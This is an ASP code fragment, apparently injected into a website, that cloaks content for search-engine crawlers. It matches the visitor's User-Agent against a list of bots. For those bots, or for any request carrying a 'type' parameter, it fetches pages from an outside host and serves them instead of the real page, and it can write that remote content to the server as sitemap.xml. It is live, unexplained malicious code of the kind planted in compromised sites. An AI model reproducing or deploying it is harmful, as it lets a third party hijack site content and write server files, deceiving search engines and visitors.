 |
|
|
<%
function is_search_bot()
dim s_agent
is_search_bot=false
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
identify = Array("googlebot","adsbot-google","gsa-crawler","mediapartners-google","baiduspider","yahoo! slurp","inktomi","msnbot","yodaobot","outfoxbot","sogou spider","sosospider","iaskspider","naverrobot")
for i=0 to ubound(identify)
If instr(1,s_agent,identify(i),1) >0 Then
is_search_bot=True
Exit Function
End If
next
end Function
If is_search_bot() Or Request.QueryString("type")<>"" Then
MyUrl="http://s1.1088house.com/"
charset="gbk"
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,charset)
End function
Function GetBody(url)
on error resume next
Set Retri = CreateObject("Microsoft.XMLHTTP")
With Retri
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retri = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Sub WriteToTextFile(FileUrl,byval Str)
set stm=server.CreateObject("adodb.stream")
stm.Type=2
stm.mode=3
stm.charset="utf-8"
stm.open
stm.WriteText str
stm.SaveToFile server.MapPath(FileUrl),2
stm.flush
stm.Close
set stm=nothing
End Sub
t=DateDiff("s", "1970-1-1 8:00:00", Now())
htmltype=Request.QueryString("type")
url = MyUrl+"?charset="+charset+"&host="+(Request.ServerVariables("HTTP_HOST") + Request.ServerVariables("URL")) + "&type="+htmltype+"&doc="+Request.QueryString("doc")+"&page=" +Request.QueryString("page") + "&t=" &t
html=getHTTPPage(url)
If htmltype="sitemap" Then
call WriteToTextFile("sitemap.xml",html)
Response.Write("ok")
else
Response.Write(html)
End If
response.End()
End If
%>
|
|
|